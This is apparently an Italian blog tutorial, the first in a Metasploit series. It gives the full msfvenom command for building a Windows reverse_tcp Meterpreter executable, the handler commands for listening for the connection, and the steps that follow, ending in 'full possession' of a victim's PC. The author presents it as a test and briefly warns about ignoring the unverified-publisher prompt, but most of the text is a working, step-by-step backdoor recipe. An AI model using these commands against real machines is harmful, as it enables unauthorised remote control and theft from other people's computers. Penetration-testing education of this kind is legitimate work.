Nel primo articolo della rubrica su Metasploit Framework illustro la creazione di un payload conosciuto come reverse tcp connection che consente l’installazione di una backdoor su una macchina Windows a seguito di una precisa azione dell’utente sulla stessa. Dopo l’installazione del payload su Windows, lanceremo l’exploit che ci permetterà di prendere il controllo completo del PC della vittima.
In caso siate al primo utilizzo di Metasploit, sappiate che per funzionare, ha bisogno di costruire un proprio database PostgreSQL sul vostro PC. Avviamo il servizio PostrgreSQL e Msfconsole da linea di comando loggati come root:
service postgresql start msfconsole
Creare un virus
Il payload in questione è un file eseguibile di Windows che permette all’attaccante, una volta lanciato, di ottenere una sessione di Meterpreter sulla macchina della vittima.
Meterpreter è un tool rilasciato insieme a Metasploit Framework, le cui caratteristiche principali sono:
- lavora iniettando DLL sulla macchina della vittima
- risiede nella RAM della stessa, non creando alcun file sul suo disco rigido
- la comunicazione tra attaccante e vittima è criptata e utilizza una codifica type-length-value
- dispone di una piattaforma per la creazione di estensioni
- integra svariate features interessanti, alcune delle quali verranno trattate nelle prossime guide
Prima di creare il payload, abbiamo bisogno di conoscere l’indirizzo IP del nostro PC, digitando da terminale ifconfig
ed annotandoci la serie di quattro numeri che segue la parola inet.
Creiamo il file eseguibile per Windows lanciando il seguente comando
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=[ip_della_nostra_macchina] LPORT=[porta_per_la_connessione] -f exe > [file].exe
Una volta creato dobbiamo renderlo disponibile alla vittima per il download.
Dalla parte della vittima
Essendo un test, mi sono preoccupato di passare manualmente il payload sulla macchina Windows dopo averlo creato.
Mettiamoci in ascolto…
Metasploit Framework ha tre interfacce differenti che svolgono gli stessi compiti:
- msfcli: interfaccia a riga di comando
- msfconsole: shell interattiva
- Armitage: interfaccia utente grafica
Per questo tutorial ho deciso di utilizzare msfconsole, perché trovo che sia un po’ più semplice da utilizzare rispetto alla linea di comando pura, un po’ più affascinante rispetto all’interfaccia grafica e decisamente più veloce di entrambe le sorelle.
Avvio msfconsole digitando da terminale msfconsole
… Semplice, no?!
Decido l’exploit da utilizzare, in questo caso, uno molto generico, con il comando use exploit/multi/handler
, configuro l’exploit per l’utilizzo del payload precedentemente creato e mi metto in ascolto, lanciando i seguenti comandi
set PAYLOAD windows/meterpreter/reverse_tcp set LHOST [ip_della_nostra_macchina] set LPORT [porta_per_la_connessione] run
Attendo che la vittima esegua il payload.
Copriti… o prendi freddo!
Quante volte da ragazzini a seguito di un’ammonizione del genere, siamo usciti in mezzo alla neve senza giacca e berretto? È esattamente quello che facciamo costantemente con i nostri PC ignorando avvisi come Impossibile verificare l’autore. Eseguire il software?
Fregandocene altamente degli avvisi di sicurezza lanciamo il payload sulla macchina della vittima.
Mors tua, vita mea
La vittima ha mandato in esecuzione il file infetto, letteralmente prendendosi il raffreddore. Il nostro attacco è andato a buon fine, garantendoci il pieno possesso della macchina attaccata.
Per ora digitiamo un semplice sysinfo
per ricevere qualche informazione utile sulla vittima, nelle prossime guide vedremo alcune delle interessantissime features di Meterpreter!
Se volete una dimostrazione pratica di quanto spiegato, potete consultare il video correlato al tutorial.